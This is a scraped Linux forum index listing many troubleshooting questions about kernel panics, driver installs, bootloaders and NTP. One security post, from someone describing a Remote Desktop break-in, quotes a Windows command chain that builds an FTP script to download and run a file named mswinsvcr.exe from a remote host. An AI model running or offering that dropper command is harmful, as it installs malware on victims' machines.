Programming :: Division By Zero Attempted Error?

Apr 28, 2011

i getting following error message plz help me to solve

[root@localhost a]# awk -f dream2.awk simple.tr >simple1.tr
awk: dream2.awk:29: (FILENAME=simple.tr FNR=53107) fatal: division by zero attempted
[root@localhost a]#

View 15 Replies


ADVERTISEMENT

Programming :: How To Handle Division By Zero In Awk

May 29, 2011

Sometimes the variables will be 0 and sometimes not, and of course the output may also be 0%...What is the best method to handle division by zero errors in awk.

View 2 Replies View Related

Programming :: Kernel Panic - Not Syncing: Attempted To Kill Init

Oct 12, 2010

am trying to interface ade7758(adc) to at91sam9261...i have written a sample code which registers an spi driver and sends an address to ade7758 and receives a data...every thing is fine.My device is registered but kernel is giving a crash message....below is the message....

[Code]...

View 6 Replies View Related

Ubuntu Installation :: Error - Kernel Panic - Not Syncing: Attempted To Kill Init

Jun 8, 2011

Today I was upgrading my netbook with Ubuntu 10.10 on it to 11.04 via the Update Manager. I got a few errors and the Update Manager seemed like it wasn't continuing, so decided to exit it. It didn't respond so after a while I decided to restart the netbook. However the on/off/standby/restart, etc. button in the top right wasn't responding either, so I decided to force a shutdown with the power button on my netbook. Now Ubuntu doesn't start up, and gives me an error along the lines of:

Kernel panic - not syncing: Attempted to kill init! Pid: 1, comm: init Not tainted 2.6.35-28-generic #50-Ubuntu Now could I in some way repair my Ubuntu installation while still keeping the files I already have on my computer? Maybe via booting from a flash drive or something...?

View 3 Replies View Related

General :: Division Of Logical Memory Space In To User Space And Kernel Space

Jan 4, 2010

Logical Memory Space of 4GB is divided in to 3GB User Space and 1GB Kernel Space. Always. Correct?

1. How can we change it? (just changing value of PAGE_OFFSET is okay?)

2. If system have only 256MB of memory (embedded system) and suppose Kernel Modules eat away all the memory during boot. User space will be left will no memory. Is this case possible?

View 2 Replies View Related

Ubuntu :: Sound Not Working After Attempted OSS Switch

Jul 23, 2010

I followed this guide: [url] to try to switch to OSS. Now the sound doesn't work at all. How do I undo these changes and switch back to ALSA?

View 9 Replies View Related

General :: Initramfs - Attempted To Kill Init ?

Nov 10, 2010

For a special purpose I needed a initramfs - that didn't work. So I reduced the initramfs setup to the simplest.

Mount the root and switch_root into it. But that didn't work either.

If I go with the init-script for the initramfs I posted below the system prints out the switch_root usage-text from busybox. But the syntax is right, ain't it?

When I use chroot instead of switch_root then it prints the usage-text of init before the kernel panic.

If I try with "/sbin/init 5" then, after a while the system reports "init: timeout opening/writing control channel /dev/initctl".

In the other cases I get the following error messages before the system hangs: "Kernel Panic", "Attempted to kill init", "init not tainted"

(With the init script below there is a error saying:"sh: can't access tty; job control turned off". I know why it's there - but don't know if it is connected to this problem.)

This information may be important:
- The machine boots from a usb-harddisk
- /sbin/init on the new root is available
- the system on newroot is sane and runs perfect standalone (without initramfs)
- the system on newroot uses baselayout-2 with openrc
- busybox is built as static binary
- busybox version is v1.15.3

Here is the relevant data:

My uname -a on that machine:

Code:

Content of the initramfs:

Code:

View 1 Replies View Related

Security :: Huge Number Attempted Ssh Logins?

Sep 12, 2010

Lastb often shows me a huge list of attempted ssh logins.Such as this excerpt:

Code:
admin ssh:notty Sat Sep 11 23:47 - 23:47 (00:00) 184-154-37-12.Huge-DNS.COM
root ssh:notty Sat Sep 11 23:47 - 23:47 (00:00) 184-154-37-12.Huge-DNS.COM

[code]....

View 14 Replies View Related

CentOS 5 :: Not Syncing - Attempted To Kill Init

Sep 23, 2009

I Downloaded the 6 CD's of CentOS installation , and I start install them on my machine :
Processor : Intel Pentium 4 -2.08 Ghz
Ram: 256 MB
cash :512kb
HDD: 80GB
(it is for home server purposes)

After the fourth disc the system ask to reboot the system ; so I restart it ok? What I get ? No OS. Just a long text :
I think the bootup run ok, then this line came out I think it reveal some thing that Pros will know it:
nash received SIGSEGV Backtrace :
[0x804fb35]
[0x488420]
[0x.........
[0x........
[0x......]
then
Kernel panic - not syncing: Attempted to kill init!

View 9 Replies View Related

Fedora :: Attempted To Create A New Java Project In Eclipse?

Jan 11, 2010

I recently installed Fedora 12 and attempted to create a new java project in Eclipse.I used the 'eclipse' command in the terminal to start eclipse. It starts fine, however, there is no 'java project' option after choosing 'File->New Project'. Only CVS and General projects. I am not experienced enough in programming to understand the relevance/usage of either of these project modes, and only want to be able to write java programs in Eclipse.

Also, does the eclipse that is run from the terminal support c++ development? I have attempted to download eclipse for C++/C developers, but cannot get it to run. Which eclipse is running when I type 'eclipse' in the terminal? Is there a way to make it so I don't have to run this command from the terminal to load eclipse?

View 2 Replies View Related

Fedora :: Software To Monitor And Notify About Attempted Connections?

Aug 31, 2010

For windows, zonealarm will pop up a window when someone attempts to connect to a port on your computer.Is there a GRAPHIC utiliity like that for Fedora/linux? Not Command Line. (ss, tcpdump,. etc...)

View 8 Replies View Related

OpenSUSE Hardware :: Radeon Hd 3850 On Os 11.2 - Crashing When Gl Is Attempted?

Jan 16, 2010

i've been using ubuntu on my laptop for about a year now, but couldn't use linux on my desktop as my wireless adapter was never very well supported. well recently it's started working better, and rather than just putting ubuntu on i thought i'd try something different. i tried various kde based distros (madriva, fedora kde, kubuntu, chakra and others i can't think of right now) and found opensuse to be my favourite.the past week or so i've just been playing around, getting to know the little differences.i'm on call this weekend so i can't get drunk, so i thought i would waste a little time setting my desktop up a bit differently, and i've encountered a problem.

at first i wasn't sure what was wrong, i was playing around and next thing i knew i had crashed and couldn't log back in. i tried moving my .kde4 dir from a console login, but i still couldn't load my desktop, so i reinstalled.after my reinstall, i found that selecting a gl screensaver gave me the same problem (although this time at least moving/deleting my .kde4 folder allowed me to log in to a fresh desktop.i've done a bit of digging and found this. an lsmod | grep radeon gives me

Code:
radeon 368000 2
drm 184128 3 radeon

[code]....

View 4 Replies View Related

Debian :: Live Can't Find Its Filesystem On Attempted HD Install

Aug 15, 2009

I am trying to boot Debian Live, using Grub, from a folder on my hard drive which is basically the contents of the iso.

Here is my menu.lst:

However, on boot, after a while, it says boot failed. The error message it gives is: "Unable to find device with live filesystem" or something similar.

View 12 Replies View Related

Debian Hardware :: NIC Drivers \ Noticed When Attempted To Load Wheezy?

May 17, 2011

I got a new motherboard since my last one failed and this one has a Realtek RTL8168D/8111D PCI-E Gigabit on-board NIC. I noticed when I attempted to load Wheezy on her, she complained about the drivers not be listed in the Debian kernel. Is there a way I can slip in the drivers via USB or some other method so I can do a netinst of Debian on this new system?

View 1 Replies View Related

Fedora :: Attempted To Install Nvidia Graphics - EPIC FAIL ?

Sep 2, 2010

I have a Asus UL80j, Nvidia GeForce 310m w/ 1gb mem, i3 core processor and 4 gb ram. Windows 7 HP came on, I love Fedora so I dual boot. I installed the Fedora 13, did yum update all is good. I attempt to use the compiz for cool effects however, it freezes my system.

I attempt to install the nvidia graphics driver from thread [url] and follow the instructions to perform the install and reboot.

First it loads the fedora logo like always and then boom, black screen with a blinking white underscore mocking me. Reboot once more and get the load out of pass/fails and see nvidia.ko for kernel...... [NOT FOUND] blah blah [FAIL] blah blah [FAIL]

View 3 Replies View Related

OpenSUSE Install :: Bootloading With Attempted /Ubuntu Dual Boot ?

Jun 15, 2011

So, with openSUSE 11.4 living happily on one hard drive (sda), I went and installed Ubuntu Natty on my computer's other drive (sdb.) I was under the impression that if I kept the installation contained entirely on the second drive, I could boot directly to it through bios, and not worry about bootloaders.

It seems that I was wrong.

When I try to boot to the hard drive w/ Ubuntu on it, nothing loads. The BIOS freezes at "Verifying DMI Pool..." I can still boot into my openSUSE install as normal, but its GRUB doesn't see the Ubuntu installation on the other hard drive. I tried using Super Grub Disk to boot the Ubuntu disk, and it's able to detect the Ubuntu OS, but goes into a kernel panic with the error message that VFS wasn't able to mount. When I've got my opensuse installation going, I can see the files and folders from the Ubuntu installation, and everything looks more or less normal.

View 2 Replies View Related

General :: Kernel Panic - Not Syncing: Attempted To Kill Init?

Jan 4, 2010

I used ubuntu in my ARM board. but now i rebooted it says that "kernel panic - not syncing: Attempted to kill init!" i have to reinstall my OS or any other way to get retify?

View 4 Replies View Related

General :: Kernel Panic Not Syncing Attempted To Kill Init?

Sep 12, 2010

Our email server and fax server configured in a Linux server.2day mornin onwards i am getting the error.kernal panic -not syncing : attempted to kill init.

Bootin "powerserver"(Centos-4 i386)-up( 2.6.9-11 EL)
root (hd0,0)
Filesystem type is ext2fs,partition type 0*fd

[code]....

View 1 Replies View Related

General :: Kernel Panic Not Syncing Attempted To Kill Init

Sep 20, 2010

How to resolve "kernel panic not syncing attempted to kill init" problem in Linux?? And why this error occurs? In my case, this error occurs when i boot my computer and after this error my computer goes on rebooting..

View 1 Replies View Related

General :: NTP - Remote Host Refused An Attempted Connect Operation

Jul 24, 2011

When I do a ntpq -p on my machine I could see the ntp servers configured and it's status:

But when I telnet to ntp server "10.1.35.2" it says A remote host refused an attempted connect operation:

I know * here represents that the machine is in sync with ntp server. My question if the machine is in sync with ntp server, how does it work?why ntp port 123 is connection refused?

View 1 Replies View Related

CentOS 5 :: Kernel Panic - Not Syncing : Attempted To Kill Init?

Jan 15, 2010

I am getting :

exec of init (/sbin/init) failed!!! : 2
umount /initrd/dev failed: 2
Kernel panic - not syncing: Attempted to kill init! My server is at remote end which I access through Public IP.

View 5 Replies View Related

Fedora :: Freeze On Boot After Attempted Proprietary Graphics Driver Installation?

Jun 21, 2011

I'm still trying to learn the ropes on linux as a whole and I've run into sort of a huge dilema. I wanted to connect my laptop to my TV via VGA. However, it would not work because I didn't have the proprietary graphics driver for my graphics card (Nvidia Quadro NVS 3100M). I searched the internet and found the guide below because the guide provided here did not specify Quadro family graphics cards[URL]I followed the "easy method" to the T. Now I cannot boot into Fedora 15 at all (I'm stuck on bloody Windows 7 again ). It simply freezes at the boot animation (the "F" in the bubble). What can I do to fix this

View 10 Replies View Related

Ubuntu Installation :: Attempted To Upgrade To 10.04 Through Update Manager - Computer Crashed

May 8, 2010

So I attempted to Upgrade 2 days ago from 9.10 to 10.04. I started the upgrade and left my computer alone as it said it would take several hours. When I returned to check on it, It told me the the installation had failed and it was attempting to roll back to the previous installation. Afterward I couldn't access anything on my computer. I'd click a icon and it wouldn't do anything. I manually restarted it and was greeted with a message that it couldn't boot because there was no mount specified.

Since I had backed up all my files I tried to just reinstall ubuntu. However even after I reinstalled I'm greeted with the same message.

View 1 Replies View Related

Ubuntu Security :: Unwanted Remote Desktop Access And Attempted Hack

Jul 20, 2010

I was running ubuntu 10.04 on a school laptop connected to the network. I was editing a file in emacs on an ssh connection to a school server when all of a sudden I see the remote desktop graphic (a thing that looks like a widescreen monitor) pop up in the top panel. A second later it announces that someone else has connected to my computer with 'ffff:someip'. I'm not sure of the specifics because I was too shocked. I do remember it started with some number of f's before a : The hacker then started typing
Code:
%systemroot%system32cmd.exe
del eq&e

I promptly yanked out the ethernet cable before anything else could be typed. I then went in and changed the Remote Desktop preferences to not allow anyone in. I'm guessing that I cut the hacker off from fully entering in a command similar to this:
Code:
%systemroot%system32cmd.exe
del eq&echo open 0.0.0.0 13643 >> eq&echo user 13302 30046 >> eq &echo get
mswinsvcr.exe >> eq &echo quit >> eq &ftp -n -s:eq &mswinsvcr.exe &del eq
which I found here: [URL]

How concerned should I be? It appears to be a windows hack. Did I prevent any damage from occurring? Is Remote Desktop really that easy to connect to another persons computer? I know this question is bait in a way. On my home machines I only allow vnc via ssh tunnels and that is through a router with proper port forwarding for the ssh ports and very few other ports forwarded. Such an attack has never happened to me at home. Is this possibly due to my setup or was I just lucky no one picked my computer to hack? So is the ssh tunnel & port forwarding a sufficiently safe setup or am I still at risk?

What degree of protection does the ssh tunnel and port forwarding provide? What else should I do to make my current home setup even more secure? The text I wrote above was the only text typed into the terminal. Because the attack was over Remote Desktop, what is the possibility that it was a bot? The text appeared slow enough for me to think that there was a person rather than a machine/program typing in the text. Does the Remote Desktop connection in a way provide a level of abstraction that prevents scripts as commands must be typed in through the Remote Desktop connection (vs. a ssh connection where a script might more easily be uploaded and executed)?

In the end I'm curious as to what else might have been accessed over the connection or if it was probably just restricted to the hacker attempting to run some windows commands? Since they connected via Remote Desktop and I saw the connection pop up and the typing begin in my terminal, did I see everything that the hacker attempted to perform? Am I correct in my research in finding that there is no log for Remote Desktop connections and therefore I can't find the ip they were connecting from? However, I would like to use this as a wake up call to myself to prevent unwanted access on my home computers.

View 9 Replies View Related

Multimedia :: Ubuntu 10.10 Won't Boot After Attempted Install Of ATI FGLRX Driver / Sort It?

Jan 17, 2011

I'm running 10.10 from an 8GB USB flash drive with persistence to see if I can get it working the way I need it before I can completely transition from Windows. I have an onboard ATI Radeon HD3300 running dual monitors which is on the list of supported devices for the FGLRX driver package, but I've encountered multiple issues.

First, when I chose to activate it from the Add'l Drivers dialog, it gave an error: "SystemError: installArchives() failed". I found a forum where someone had suggested opening the Terminal and giving the following commands:sudo aticonfig --initialfollowed bysudo rebootWhen my system rebooted, the Ubuntu screen showed "Ubuntu 10.10" in a plain font instead of the Ubuntu graphical logo, and then it quickly displays an error in a dark-colored font and then the screen flickers several times before stopping at a full-screen terminal. I have never used Linux before, so I don't know any commands at all or even what to do from here. I just want the dual screens to work and have the correct resolution.

Am I going to have to format and reload my flash drive again?

View 1 Replies View Related

Hardware :: Mouse Pointer No Longer Moves After Attempted Install Of Bluetooth?

Jul 21, 2010

I am using Ubuntu 10.04 on a laptop with a Synaptics touchpad. While testing an install of Bluetooth drivers I booted my computer into recovery mode so I could find out if Bluetooth worked before networking was installed. The system reconfigured the graphics to low VGA which disabled the mouse. I rebooted (normal startup) uninstalled the bluetooth drivers, but my mouse still won't work. The mouse pointer appears in the middle of the computer screen, and stays there.Enabling mouse keys support enables me to move the mouse by holding the Function key and pressing numpad characters,t this is only a temporary solution.

View 2 Replies View Related

General :: CentOS - Kernal Panic -not Syncing Attempted To Kill Init?

Apr 7, 2011

I was unable to access the server and had to reboot it. When the server was booting after the Grub, it errored out withKernal Panic -not syncing Attempted to Kill init!!exec of init (/sbin/init/) failed No such directoryI reboot into the recuse mode from the CD and when looking for the installed OS.I got an error like thisFound OS but with errors.Mounting part or all of your system at /mnt/sysimage.. something of the sort. I've run fsk -y on the /boot and root drives and rebooted but still the same issues.Here is my grub.conf:

# grub.conf generated by anaconda
#
# Note that you do not have to rerun grub after making changes to this file

[code].....

View 7 Replies View Related

General :: Attempted To Change The User Folder And After Logging Off - ICEauthority File ?

Aug 11, 2010

I have a windows install with linux installed within the windows system using WUBI. I attempted to change the user folder and after logging off I received a err message regarding /home/XXX/.ICEauthority. I am using ubuntu 10.04 LTS.

View 4 Replies View Related

Server :: Secure Ftp - Encrypts Passcode Transaction And Logs Attempted Entry

Jan 22, 2011

I need a single user ftp server on a dedicated machine which encrypts passcode transaction (and preferably everything else) and logs attempted entry. Assume forwarding port stuff / DMZ stuff is already setup.
connecting client will be either command-line tools or winscp, depending on client OS.

View 2 Replies View Related

CentOS 5 :: Custom Kernel Panic - Not Syncing: Attempted To Kill Init?

Apr 5, 2011

I got the following error after compiling kernel version 2.6.38.2 from sources with this Howto:[URL].. Creating root device.

Mounting root filesystem.
mount: could not find filesystem '/dev/root'
Setting up other filesystems.
Setting up new root fs
setuproot: moving /dev failed: No such file or directory
no fstab.sys, mounting internal defaults

[Code]...

View 2 Replies View Related







Copyrights 2005-15 www.BigResource.com, All rights reserved